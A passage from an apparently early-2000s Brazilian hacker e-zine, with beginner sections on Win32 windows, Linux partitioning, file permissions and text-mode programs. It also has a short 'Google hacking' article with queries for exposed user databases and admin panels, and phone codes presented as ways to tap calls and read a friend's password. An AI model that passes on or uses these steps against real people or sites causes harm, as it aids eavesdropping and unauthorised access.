wnd.lpszClassName = "Janela";
wnd.lpszMenuName = NULL;
wnd.style = NULL;
if(!RegisterClassEx(&wnd)){PostQuitMessage(0);}
HWND handle = CreateWindowEx(NULL,"Janela","Janela de Exemplo",
WS_OVERLAPPEDWINDOW,150,150,300,300,GetDesktopWindow(),NULL,hInstance,NULL);
if(!handle){PostQuitMessage(0);}
ShowWindow(handle,nCmdShow);
UpdateWindow(handle);
while(GetMessage(&msg,NULL,0,0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch(Msg){
case WM_RBUTTONDOWN:
SetWindowText(hWnd,"Clique direito");
break;
case WM_LBUTTONDOWN:
SetWindowText(hWnd,"Clique esquerdo");
break;
case WM_MBUTTONDOWN:
SetWindowText(hWnd,"Clique com botão do meio");
break;
case WM_MOVE:
SetWindowText(hWnd,"Janela movida");
break;
case WM_SIZE:
SetWindowText(hWnd,"Tamanho modificado");
break;
case WM_KEYDOWN:
SetWindowText(hWnd,"Tecla pressionada");
break;
case WM_DESTROY:
PostQuitMessage(0);
}
return DefWindowProc(hWnd,Msg,wParam,lParam);
}
/*Fim do programa!
Este programa foi compilado em Visual Studio 6.0. A macro WIN_32_LEAN_AND_MEAN
foi utilizada, embora não tenha sido citada aqui. O programa compilado está
disponível aqui e possui 152 KB.*/
Bom, agora você já sabe criar uma janela simples e manipular as principais
mensagens que podem vir a ocorrer. No próximo capítulo entraremos em detalhes
nos controles simples de Windows, e ainda veremos alguns parâmetros das
mensagens mais comuns e aprenderemos alguns truquezinhos ;]]
Xor´s para todos ;]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 07 ]=-=[ Instalando o Linux pela 1ª vez ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Como vão Newbies?
Isso é só um básico pra quem quer se aventurar no linux, mas não sabe como e
não quer perder o rwindows por motivos de força maior... :)
Se você tem um HD de 20GB e está usando seu sistema tudo numa partição,
você teria que perder tudo se quisesse criar uma outra partição. Mas
existem programas que redimensionam o seu tamanho, e o maior destaque
neles, são a facilidade e (in)segurança que eles proporcionam.
Vamos aos exemplos:
Você tem extamente 10GB para seu linux com um PII 233Mhz e 64RAM. Baixe o
programa "Partition Star", que é menos que 1MB de tamanho e tem uma facilidade
tremenda. Baixe ele em: http://www.star-tools.com/english/download.html. Até o
término dessa edição ele se encontrava na versão 2.01.
Após instalado o programa, ele exibe todas as partições encontradas em sua
tabela de partição. Agora o resto é simples. Abra a partição em que se encontra
o seu windows e diminua o tamnho tanto em GB como em %. De OK para confirmar,
salve as alterações e reinicie o computador.
Após isto, volte ao programa e clique num espaço em branco debaixo da
primeira partição sua, e veja que mostrará a quantidade total de espaço sobrando
na qual poderá ser transformada em uma outra partição.
Dos 10GB, coloque 9,872GB e na hora de selecionar o file system, coloque 83
- Linux Native. Depois crie outra com o resto do espaço que sobrou: 128MB - e o
file system 82 - Linux Swap.
Salve as alterações, reinicie e comece a instalar o linux bootando pelo CD.
Ele reconhe as partições windows, linux native e swap!!!
Agora vem a parte crítica. Nem tudo sai às 1000 maravilhas e vou citar alguns
problemas que enfrentei:
- Dá uma mensagem de erro quando se tenta diminuir o tamnho da partição.
Isso é uma limitação que o partition star possui. Para conseguir fazer esse
redimensionamento, você deve primeiramente desfragmentar o disco por completo.
Por que? Para mover todos arquivos que se encontraram no final da unidade para o
começo, deixando assim o espaço livre.
- Quando abro o aplicativo aparece um erro de operação ilegal e nada acontece.
Bem, isso geralmente acontece por dois fatores: 1 - Seu anti-vírus está em
execução ou algo parecido. 2 - Alguns arquivos seus do windows podem não estar
presentes ou corrompidos (novidade...). Mas nessa versão 2.01 não ocorreu esse
erro comigo. Mas de qualquer forma, você pode utilizar em modo DOS (PSDOS).
- Quando faço alguma alteração no C: ele não salva essas alterações.
Isso geralmente acontece porque você está usando o C: nesse momento. Para
isso de o boot pelo disquete e efetue novamente as alterações. Outro motivo
seria o anti-vírus.
- Como faço para criar esse boot pelo disquete?
Ao abrir o programa clique em: File, Create Emergency Disk, e Finish. Agora é
só dar o boot pelo floppy na inicialização do sistema.
- Minhas partições não formatam e/ou dão erro na instalação do linux.
Isso é decorrente de badblocks. A única solução é você formatar checkando o
disco inteiro para ele achar os possívei clusters danificados, ou se você tiver
uma idéia de onde estão, isolar a área numa outra partição.
É só galera, só demonstrei o básico desse programa para windows pois é de
fácil manuseio e bem pequeno. O melhor mesmo é o Partition Magic 8, que não se é
necessário nem fazer a desfragmentação. Mas pra quem não quer ficar baixando
30MB, o partition star é uma ótima solução custo/benefício. O serial dele é
fácil de achar na net. Desculpem por esse texto bem básico, mas como é só
voltado para newbies que querem migrar de windows para linux de uma vez por
todas, embora muito ainda ficarão com o windows wm sua winchester.
Espero que agora não deem mais desculpas para não usar o linux(fora
aquele do driver de modem). Abraços e juízo.
[]´s
IP_FIX.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 08 ]=-=[ Permissões de Arquivos ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
*** Permissões de arquivos e diretórios ***
Antes devemos saber que todas as informações sobre os arquivos vem do inode. O
inode guarda os dados sobre o UID e GID do dono do arquivo, permissões dele,
tipo e o timestamp do arquivo. (dados sobre a última modificação e etc..).
Vendo o inode --> basta dar um "ls -l"
exemplo:
[root@Jakk root]# ls -l
drwx------ 3 root root 4096 Out 4 02:55 Desktop
drwxr-xr-x 2 root root 4096 Set 14 2001 backup
drwxr-xr-x 9 root root 4096 Out 12 01:00 tmp
[root@Jakk root]#
São 3 níveis de permissões :
Dono: só pode ser 1, dono do arquivo
Grupo: membros de um determinado grupo
Outros: o resto dos usuários do sistema
As permissões so são apresentadas mesmo depois do primeiro bit na ordem
"rwx".Este esquema funciona da seguinte forma, depois do primeiro bit, vem 3
bit's referentes as permissões do proprietário do arquivo; os 3 seguintes são do
grupo e os 3 últimos são do resto do sistema .
*** As permissões de fato ***
Vou mostrar as permissões básicas. São elas "r", "w" e "x".
*r --> Read
arquivo : pode ser lido
diretório : pode ser visto o seu conteúdo
*w --> write
arquivo : pode ser adicionado e alterar um arquivo
diretório : pode-se apagar ,criar e/ou modificar qualquer arquivo e/ou diretório
que esteja dentro desse diretório mesmo que este não tenha essa permissão
*r --> eXecute
arquivo : pode-se excutar o programa ou shell script diretório : pode "entrar"
no diretório. Essa tem um porém , porque nada adianta você ter uma permissão "w"
se nao tiver "x". Mas "r" sem "x" ainda pode-se ver o conteúdo com limitações
*** Alguns comandos ***
*chmod
O chmod serve para que você possa mudar as permissões de um arquivo(claro que vc
tem que ser o dono do arquivo ou root)
observe isso --> x = 1, w = 2, r = 4
essa relação é utilizada pra vc modificar as permissões dos arquivos
exemplo: chmod 767 programa
Cada número corresponde a um nível.Observe cada número o primeiro número 7 eh
formado pela soma dos numéros correspondentes as permissões . 1(x) + 2(w) + 4(r)
= 7
Veja : ,--------------,----------,
| permissão | cálculo |
|--------------|----------|
| --- | 0 |
| --x | 1 |
| -w- | 2 |
| -wx | 2+1 |
| r-- | 4 |
| r-x | 4+1 |
| rw- | 4+2 |
| rwx | 4+2+1 |
'--------------'----------'
OBS.: Só é valida para as permissões "básicas" (rwx).
*ls
Exemplo:
4 drwx------ 4 fernando fernando 4096 Out 12 01:20 Desktop
4 drwx------ 8 fernando fernando 4096 Out 12 00:33 Mail
4 drwxrwxr-x 3 fernando fernando 4096 Set 28 13:23 OpenOffice.org1.0.2
4 drwxrwxr-x 9 fernando fernando 4096 Out 11 14:53 kvirc-3.0.0-beta2
4 drwxr-xr-x 2 fernando fernando 4096 Set 23 19:49 linux
4 drwxrwxr-x 8 fernando fernando 4096 Out 10 08:30 programas
4 drwx------ 4 fernando fernando 4096 Out 11 23:29 tmp
4 drwxr-xr-x 8 201 201 4096 Set 23 11:36 vmware-distrib
4 drwxr-xr-x 22 1000 users 4096 Set 22 19:21 wine-20030911
Este 'd' no primeiro bit significa diretório.
veja as outras possibilidades
,--------------,------------------------------,
| Caractere | Significado |
|--------------|------------------------------|
| - | arquivo regular |
| b | dispositivo de blocos |
| c | dispositivo de caracteres |
| d | diretório |
| l | symbolic link |
| p | FIFO |
| s | socket |
'--------------'------------------------------'
Bom eu fico por aqui espero que tenha sido interessante e compensador...
(Jakk®SN)(Nikiti-Rj)
- EOF -
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 09 ]=-=[ Programas em Modo Texto ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PROGRAMAS PARA LINUX EM MODO TEXTO
by Green Hornet
Escrevo esse texto pensando naqueles que estão iniciando no Linux, -como o
IP_FIX colocou que o objetivo inicial do MOTD eh começar com txts voltados pro
pessoal newbie(quase lammer :-) -.
Que conseguiram instalar o sistema,mas que ainda se sentem perdidos e estão
procurando programas que executem tarefas semelhantes as que usavam no windows.
O detalhe eh que darei enfase só em softs que rodam pelo shell(modo texto) ja
que esse eh um dos grandes medos de quem ta começando.
Alguem pode perguntar porque não falar de programas de interface grafica?
Amigo,como geralmente as pessoas estão mais habituadas ao ambiente de janelas,
creio ser mais intuitivo do que trabalhando pelo console.
Alem do que muitas interfaces graficas dependem de um bom hardware para rodarem
satisfatoriamente,como o kde por exemplo.
Ja pelo prompt,voce pode rodar ate naqueles 486 velhos e com 8 de ram :-)
Lembrando que os programas aqui citados estao com enfase na distribuicao Slackware.
Caso sua distro não tenha algum desses programas,basta ir a algum desses sites
na net(freshmeat.org, sourceforge.net, linuxpackages.org, rpmfind.net...)
O primeiro item importante para voce trabalhar pelo prompt eh habilitar o
recurso de GPM na instalação,que permite usar o mouse pelo shell.
Outro fator eh habilitar o frame-buffer do terminal,isso pode ser feito editando
o arquivo de configuracao do lilo (/etc/lilo.conf).
Segue uma tabela pra voce usar o que for mais adequado :
vga=791 : 1024x768, 16 bits de cor.
vga=790 : 1024x768, 15 bits de cor
vga=773 : 1024x768, 8 bits de cor
vga=788 : 800x600, 16 bits de cor
vga=787 : 800x600, 15 bits de cor
vga=771 : 800x600, 8 bits de cor
vga=785 : 640x480, 16 bits
vga=784 : 640x480, 15 bits
vga=769 : 640x480, 8 bits.
depois de edita-lo,digite lilo (como root).
Uma prova de que esta funcionando bem e quando aparecer o Tux(pinguim)no canto
superior esquerdo assim que a maquina inicializar o Linux.
INTERNET
PARA CONECTAR NA NET SEM USAR DISCADORES**:
Minha primeira dica é para se conectar à Internet usando chat + pppd, ou seja,
sem a necessidade de discadores como WvDial e kPPP.
Exemplo do provedor iG:
Crie os arquivos /etc/ppp/iG, /etc/ppp/options, /etc/pap-secrets e
/etc/ppp/peers/iG com o seguinte conteúdo:
/etc/ppp/iG
TIMEOUT 3
ABORT BUSY
ABORT ERROR
ABORT "NO ANSWER"
ABORT "NO DIALTONE"
REPORT CONNECT
"" "AT&F1"
OK "ATDT15002000"
TIMEOUT 120
CONNECT
Se necessário, modifique AT&F1 (string de inicialização) e 15002000 (número de
telefone).
/etc/ppp/options
ttyS1
115200
chap-max-challenge 100
crtscts
defaultroute
holdoff 5
lcp-echo-failure 10
lcp-echo-interval 60
lock
persist
usepeerdns
Obs: * ttyS1 = COM2
/etc/pap-secrets
"ig" * "ig"
O primeiro 'ig' contém o login, o segundo a password.
/etc/ppp/peers/iG
connect '/usr/sbin/chat -f /etc/ppp/iG'
name ig
* 'ig' = login
Digite:
ln -sf /etc/resolv.conf /etc/ppp/resolv.conf
Digite:
alias iG='/usr/sbin/pppd call iG'
Digite iG para conectar. Digite kill -INT `cat /var/run/ppp0.pid` para desconectar.
Não é necessário ser root.
Default:
Discar no máximo 100 vezes, uma a cada 5s.
Desconectar após 10 vezes sem reposta do link, uma a cada 60s.
Obviamente para esse script funcionar eh necessario que o Sistema ja tenha
reconhecido o seu modem, para esse assunto recomendo a leitura de um txt do Nash
que fala sobre modems.
BROWSERS
Para ver paginas da net(Browsers) recomendo o links e o lynx,essa eh a dupla
mais conhecida. O lynx suporta melhor scripts,tabelas,javascripts e outros.
Mas você pode usar o links com recurso de imagens,isso mesmo você pode ver
URLs com as fotos e outros!!,para isso precisara instalar a lib: aalib.tar.gz
(http://aa-project.sourceforge.net/aalib/)
descompactar (tar -zxvf , entrar na pasta onde foi colocado as libs :
cd , digitar: ./configure, depois : make, e por ultimo : make
install(como root).
E depois instalar uma versão mais nova do links,pegue uma versao em codigo fonte
e quando for compilar,use ./configure --enable-gui. Dai quando for abrir o links
basta usar
links -g http://cdm.frontthescene.com.br ,que você vera o site com as suas imagens.
Para abrir menu,tecle ESC. Dai voce tera varias opcões.
Para ir para outra URL digite "g", e digite o site desejado.
Para sair do links tecle "q".
Para inserir no bookmarks tecle "s".
Para voltar "z".
Para abrir o history ">".
IRC
Para IRC um dos mais usados eh o BitchX,
Seus comandos basicos sao:
Para entrar num canal : BitchX nick irc.servidor.com
entrar no canal : /j #canal
sair do canal : /part #canal
abre um pvt com : /q
manda msg para nick ou canal : /m
exibe info sobre : /whois
exibe end. de dns : /dns
exibe versao do BitchX : /sv
manda/recebe arquivos : /dcc #nick
abre um dcc chat com : /chat
da op a usuario : /op
tira op de um usuario : /deop
muda topico : /t
kicka um usuario : /k
kicka e bane : /kb
desbane : /unban
exibe nicks do canal : /scan
desconectar : /quit
ICQ
Uma opcao eh o centericq(http://konst.org.ua/eng/software/centericq/info.html)
ele eh um cliente de ICQ,AIM,MSN,Yahoo.Não tem suporte a mouse, mas de facil
utilizacao.Existe tambem o micq.
E outras opcoes,basta ir naqueles sites que recomendei no inicio.
EMAILS
Existem varios clientes de emails,como o elm,pine,mutt.
Explicarei o basico sobre o Pine(apesar de que acho melhor no inicio a pessoa
usar outros clientes como o mozilla mail ou evolution).
Digite "pine"
Abrira um menu dai va no Setup.
tecle "C"(Config)
Dai você vai configurar o servidor necessario como o de SMTP e as outras infos
pessoais como username e etc...
Para sair do config tecle "E".
Para escrever mensagem,va no opção de menu "Compose Message".
Para ler mensagens abra a opção "MESSAGE INDEX".
A opção "A" para adicionar enderecos de email no seu bookmarks.
Para sair basta ir na ultima opção do menu principal "QUIT".
Recomendo antes da configuração a leitura do Help -a primeira opção do menu principal-.
Vale dizer que muitos desses clientes de email precisam que você esteja com seu
DNS configurado.
IMAGENS
Para ver imagens pelo console um bom programa eh o seejpeg, para ver uma foto
basta usar: seejpeg . para sair tecle "q".
MP3 E AUDIO
Para tocar mp3 o meu preferido eh o mpg123,para executar basta colocar mpg123
Para editar o som uma opcão eh o rexima (aparecera um equalizador e la podera
configurar a vontade com as setas)depois para sair basta digitar "q". Outro com
as mesmas funções do rexima e o aumix.
Se quiser ouvir cds de audio um programa muito bom eh o workbone, basta digitar
"workbone" no shell e colocar o cd,que ele reconhecera automaticamente.
Os principais comandos para ele sao:
Para tocar digite: "9"
Para pause/resumo: "8"
Para parar: "7"
Para pular faixa: "6"
Para repetir faixa: "5"
Para ir faixa anterior: "4"
Para ir a frente 15': "3"'
Para abortar(hard abort): "2"
Para voltar: 15' "1"
Para sair: "0"
Para ajuda : "."
GERENCIADOR DE ARQUIVO
Como gerenciador de arquivo um classico eh o mc (Midnight Commander), ele eh
leve,robusto e tem muitos recursos.
Para abri-lo basta digitar "mc".
Para andar pelos arquivos use as setas.
Embaixo tem um menu indicando as opcões que voce pode usar (help,menu,view,edit...)
Lembrando que essas opcoes se referem as teclas do F1,F2,F3...
Para visualizar um texto por exemplo,basta parar com o cursor emcima dele e teclar "F3".
Para abrir o menu de cima,tecle "F9".
Para sair tecle "F10".
Usando ele regularmente vera que ele eh bem pratico e rapido comparado a outros
gerenciadores.
GRAVACAO DE CD'S
Para gravar cds existem algumas opcoes as principais sao o cdrecord e o bladeenc.
Primeiro para usar o seu gravador no Slackware voce deve recompilar seu kernel.
As opcoes sao para SCSI,ATAPI,IDE e de porta paralela.Depois recompile o kernel.
Depois disso para as gravadoras IDE/ATAPI,adicione essas linhas ao arquivo
/etc/modules.conf:
#alias scd0 sr_mod
#alias scsi_hostadaptor
ide-scsi
#options ide-cd
ignore=hdd
Depois reinicialize o Linux e digite:
#modprobe scd0
#modprobe scsi_hostadaptor
Reinicialize novamente e digite:
#cdrecord -scanbus
Dai surgira seu gravador de cd e o numero de dispositivo dele.
Esse comando vai te dar o numero de dispositivo dele.Que você precisara quando
for gravar.Adicionara o numero na opção "dev"
Para gravar
Existe duas formas de gravar
criando uma ISO ou criando a imagem e inserindo diretamente no cd.
Para criar IMAGEM no cd,digite :
#mkisofs -r -o diretorio de arquivos
#Montagem de ISO
#mount -t iso9660 -o ro loop=/dev/loop0 nome_da_imagem/diretorio_de_montagem
Queimando o cd:
#cdrecord -v speed=4 dev=0,0,0 -data nome_da_imagem
Em discos regravaveis adicione a opção blank fast:
#cdrecord -v speed=4 dev=0,0,0 blank=fast -data nome_da_imagem
Para gravação direta:
#IMG_SIZE='mkisofs -R -q -print-size diretorio_dos_arquivos/ 2 >&1 | sed -e "s/.*=//"'
#echo $IMG_SIZE
#["O$IMG_SIZE" -ne 0 ] &&
#mkisofs -r diretorio_dos_arquivos/ |
#cdrecord speed=2 dev=0,6,0 tsize=${IMG_SIZE}s -data-
PARA LER TEXTOS
Para isso voce pode simplesmente usar os programas less,more ou cat.
EDITORES DE TEXTOS
Para editor de textos:
Ai entramos numa area em que o Unix eh imbativel!Porque alem de termos muitas
opcoes, voce pode usar excelentes ferramentas.Hoje vo escrever sobre o
VI(pronuncia VI-AI).
Mas existem outros como o Tradicional Emacs,o Joe,Pico,Jed...
O vi eh muito mais que um editor de textos.
Para abrir um texto nele,use vi , Para inserir texto tecle "i".
Para caminhar pelo texto use as setas quando terminar o texto tecle ESC
Para sair do texto use :q(com ":").
Para salvar :w
Para sair e salvar :wq (outro atalho para isso tecle ZZ)
Para alterar nome :w
Isso eh o basico do basico,depois espero me aprofundar no uso desses editores.
Bom, por enquanto eh isso!!
Esse texto tambem teve a intenção de mostrar que (ao contrario do que muitos
pensam)voce pode fazer quase tudo pelo prompt, alem do que mostrei existem
outros recursos, como assistir filmes (pelo mplayer),jogar (existe varias opções
ate mesmo o Quake2!!) e caso precise de uma interface grafica leve, recomendo o
BlackBox, Fluxbox e a brasileira WindowMaker.
Espero que esse texto seja util para alguem.
Se depender de mim sera o primeiro de muitos para esse grupo.
Quero agradecer ao pessoal que tem me apoiado do CDM e do MOTD, em especial ao
Nash Leon,o IP_FIX e ao inferninh0.
GreenHornet (moyfalela@ig.com.br)
Brasnet
#motd #mercenaries
**Obs:não fui eu que criei esse script(o de conectar pelo iG),mas sinceramente
não lembro de onde o peguei,se o autor quiser,pode entrar em contato que
atualizarei dando os devidos creditos.
"YESHUA HAMASHIAH!!!"
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 10 ]=-=[ Hackeando pelo Google ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Google como ferramenta hacker !
Bom, que o google.com ja foi parte fundamental em varios hackings famosos quase
todo mundo ja sabe... o problema eh que nunca encontrei um artigo que explicasse
como eh possivel transformar o google.com em uma poderosa ferramenta hacking.
Por este motivo decidi escrever um artigo basico sobre isto.
"allinurl:usuarios.mdb site:.com.br" busca por arquivos de banco de dados
nomeados "usuarios.mdb" dentro do dominio mae ".com.br"
"allintitle:admin panel site:.org" busca por supostas paginas de administracao
dentro do dominio ".org"
"allinurl:login.asp"
lista todas as paginas com nome de "login.asp", e em alguns casos o google
exibira uma versao "cache" da pagina onde sera possivel ver o codigo asp.
Bom façam bom proveito e espero que tenham gostado do artigo .
Abraços BlackSheep182
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 11 ]=-=[ Códigos para Celulares ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Código 1: Grampeando ligações.(funciona só em aparelhos ericsson, CDMA , do t18d
para tras...)
Esse código é muito legal galera... eu mijo de rir com as coisa que jah
escutei... ele é facim facim de fazer... soh que se você pular alguma coisa, bye
bye celular...
Ok, chega de bla bla bla...
1 - Ligue o celular(dããã)
2 - Digite 904059 e setinha p/ baixo.(akela qur vai pro menu)
3 - Digite YES , 1, seta cima
4 - Digite YES , 2 , seta cima
5 - Digite YES 86
6 - Digite YES, 3, CLR , 000995
Agora você ta escutano um chiado... logo logo grampeia uma ligação, fica frio...
DETALHE IMPORTANTE - Você só vai conseguir sair disso digitando o codigo: YES 3
seta cima.
Codigo 2: Mudando a porra do nome da operadora que aparece na telinha do cel...
(só funciona nos mesmos cels do codigo 1...)
1-Digite 987 + seta p/ baixo...
2-Se aparecer um treco escrito: program nam 1-2 , vc digita 1.Ae vc começa a
descer com a tecla da seta p/ baixo... até aparecer o nome da operadora...(se
nao me engano, aparece na quarta vez q vc aperta a seta p/ baixo...) Ae eh soh
vc editar, colocar o nome q quiser, e dar YES.
Codigo 3: Vendo a senha do seu amiguinho, e se fuçar um pouco +, acaba com o
celular dele ... puts... eheehhe
(Funciona só nos celz tipo nokia 3320)
1-Digite *3001#12345#
Pronto, entro nele... ae vai em security e ve a senha... pra sair tem q desliga
o cel... lembrando, se vc fuçar um pokim, vc acaba com o celular do seu
amiguinho...
Bom, é só isso...
Flw
Caiobat
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 12 ]=-=[ Introdução ao Hacking Ético ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#############################################################################
############################## UNSEKURITY TEAM ##############################
#############################################################################
IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br
Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Thanks Unsekurity Team.
Este e outros tutoriais podem ser obtidos em:
http://unsekurity.virtualave.net/
OBS: Nao nos responsabilizamos pelas informacoes aqui contidas, bem como
do mau uso dos exemplos e dados aqui fornecidos.Todo material
disponivel neste arquivo possui somente propositos educacionais.
OBS2: Isso aqui nao eh um zine, nem pretende se tornar.Trata-se apenas de
um tutorial basico voltado para o pessoal NewBie, se voce eh 'elite',
por favor, nao leia! Voce nao encontrarah informacoes uteis aqui.
---------------
1 - INTRODUCAO |
---------------
Demorou, mais aih estah a uniao de varios topicos de programacao relacionados ao
mundo fucador.Topicos basicos, mas que requerem conhecimentos em C e Linux.
Resolvi incorporar a este tutorial uma parte com manifestos sobre varios temas,
nao pretendo despertar odio com isso e sim, abrir a discussao em torno de alguns
pontos 'nao-tecnicos' que envolvem o mundo do fucador.Cada item do tutorial tem
como alvo os mesmo leitores dos tutoriais anteriores, ou seja, Fucadores
NewBies. Fica avisado novamente que se voce eh 'elite' nao acharah nada util
neste tutorial.
----------------
2. - MANIFESTOS |
----------------
OBSERVACAO: OS PENSAMENTOS EXPRESSOS NESTE ITEM SAO DE MINHA AUTORIA,
SAO DE MINHA PESSOA.O UNSEKURITY TEAM DAH AOS SEUS MEMBROS A
LIBERDADE PARA SE EXPRESSAR DA MANEIRA QUE BEM ENTENDER.NO
ENTANTO, CADA MEMBRO POSSUI SEU PROPRIO MODO DE VER AS COISAS.
AS COISAS QUE ESCREVO AQUI NAO SAO COMPARTILHADAS POR TODOS
DO UNSEKURITY TEAM, E A RESPONSABILIDADE PELAS LINHAS QUE
SE ENCONTRAM NESTE ITEM CABE A MINHA PESSOA, NASH LEON,
ESTANDO DESDE JAH CLARO QUE EH UMA ATITUDE ISOLADA! AVISO
AO LEITOR QUE ELE NAO DEVE JULGAR O UNSEKURITY TEAM ATRAVES
DAS PALAVRAS E PENSAMENTOS DE UM SOH MEMBRO.
"Conhecereis a verdade e ela vos libertarah"
"De que adianta ter um excelente conhecimento tecnico sobre o hacking, mas
seguir por caminhos detestaveis pela comunidade hacker???".O que quero nesta
parte eh compartilhar um pouco da minha opiniao sobre alguns assuntos nao
-tecnicos, mas que envolvem o mundo do fucador.Nao adianta nada eu escrever 2
mil linhas de textos tecnicos para um cara se tornar cracker ou ser moldado como
um fantoche de grandes empresas porque nao foi bem informado! Se nao tivermos o
minimo de senso critico, certamente seremos facilmente enganados por esta corja
que aih se encontra.Vou dizer o que penso sobre determinados temas, mas o
intuito aqui eh fazer voce pensar sobre eles usando seu proprio senso critico e
buscando a verdade atras do fatos.Se pergunte sobre os porques, levante duvidas,
raciocine! Meus txts ganharam a abrangencia que eu desejava, mas de nada
adiantarah expandir os conhecimentos tecnicos se nao puder dar a conhecer alguns
pensamentos 'eticos'.Se esta parte te interessa recomendo a voce le-la com
bastante calma, sendo critico e procurando ver o que estah por tras de cada
afirmacao! Se voce pensa igual ou diferente, nao importa! Eu
quero apenas que voce pense! Seja Critico!!
2.1. - A confusao dos Termos
-----------------------------
O que eh ser hacker afinal?? O que eh ser um fucador???
A midia, como em tudo, demonstra ignorancia quanto a verdade, alienando mais e
mais pessoas.A parte podre da comunidade de seguranca nao pensa em outra coisa a
nao ser 'sujar' a definicao ao maximo.E voce, sabe o que eh ser
um hacker???
A origem do termo hacker remonta aos primordios da revolucao tecnologica. Na
verdade, se for levar ao peh da letra, os hackers derivam dos phreaks, que se
originaram nos primordios da invencao do Telefone.Mas no entanto, o termo soh
veio se popularizar depois que os phreaks comecaram a se difundir em larga
escala, isso se deu no inicio da decada de 70, mais ou menos.A inspiracao maior
no mundo 'phreak' deu inicio com john draper vulgo Capitao Crunch, ele descobriu
um metodo de fazer ligacoes gratuitas usando um apito que vinha numa caixa de
cereais.A popularizacao desta tecnica levou dois jovens inescrupulosos a
automatizarem o processo, criando as famosas RED BOX, esses dois individuos se
chamam Steve Jobs e Steve Wosniak(Ambos fundadores da APPLE).Desde entao houve
um crescimento consideravel das tecnicas e meios de manipular o sistema
Telefonico americano.Enquanto os phreaks cresciam em numero e conhecimentos, no
MIT(Instituto Tecnologico de Massachussets), estudantes arrombaravam salas de
informatica a noite para poderem aprender mais sobre os carissimos Sistemas de
Computadores.A palavra hacker em ingles significa 'machado de duas pontas',
muito provavelmente eles usavam isso para quebrarem os cadeados, ou o proprio
comportamento deles se assemelhava a isso.Eles queriam obter conhecimentos a
qualquer custo.O conceito 'hacker' expandiu, ou seja, varias pessoas queriam
dominar um conhecimento cada vez maior sobre algo, nao importando os meios que
usassem.'A busca pelo conhecimento eh uma atividade basica do ser humano', logo
nao deve ser repelida.Durante a decada de 80 muita coisa aconteceu no cenario
hacker- phreak, levando desde perseguicao, criacao de leis rigorosas ateh uma
maior compreensao de algumas entidades e a criacao de varias 'entidades' de
defesa dos ideais e interesse dos hackers... O que chamo aqui de entidade, nao
eh nada relacionado ao que conhecemos por entidade, eh mais alem, algumas delas
eh fundamental um fucador conhecer, como a Eletronic Frountier Foundation(EFF),
a 2600(o quartel general hacker), e etc.
Se voce for buscar a verdade bem no fundo verah que quase tudo relacionado a
informatica hoje em dia teve uma colaboracao maior de hackers.Internet, PC,
Softwares Gratuitos, enfim os hackers se expandiram em todos os segmentos da
informatica aprimorando-os sempre.A relacao do hacker e do phreak eh mais alem,
no inicio os phreaks lutavam contra as grandes companhias telefonicas, as
grandes corporacoes e os governos, nao possuiam nacionalidade e nao defendiam
uma etnia, eram livres e os unicos 'inimigos' era justamente esses jah
citados.Invadiam sistemas telefonicos, ensinavam truques para se fazer ligacao
gratuita, etc.. Os hackers tambem trilharam o mesmo caminho unido forcas e
lutando pelos mesmos ideiais, desafiando os mesmos inimigos e divulgando o que
consideravam a sua maior bandeira: "A LIBERDADE DE INFORMACAO", isto culminou em
1984 com a criacao do projeto GNU, criado por um hacker.Desde jah fica evidente
que um hacker nao trabalha para grandes corporacoes ou empresas sem
escrupulos(Microsoft, Conectiva, Sun, Apple, Intel e etc).. Sim, os hackers
lutavam contra empresas deste tipo e continuam lutando!! Mas eles(os inimigos)
tem os meios de comunicacao, possuem os governos em suas maos, entao logo veio a
retaliacao,e uma verdadeira caca as bruxas ocorreu no Estados Unidos em
1990/1991,batizada de Operacao SunDevil, muita gente inocente foi presa
e vidas foram acabadas.
No brasil, somente na decada de 90 veio a ocorrer uma maior divulgacao do termo
hacker e da etica hacker, o zine 'Barata eletrica' de Denerval Cunha foi e tem
sido quem mais expandiu o que representa a etica hacker e a 'cultura' pregada
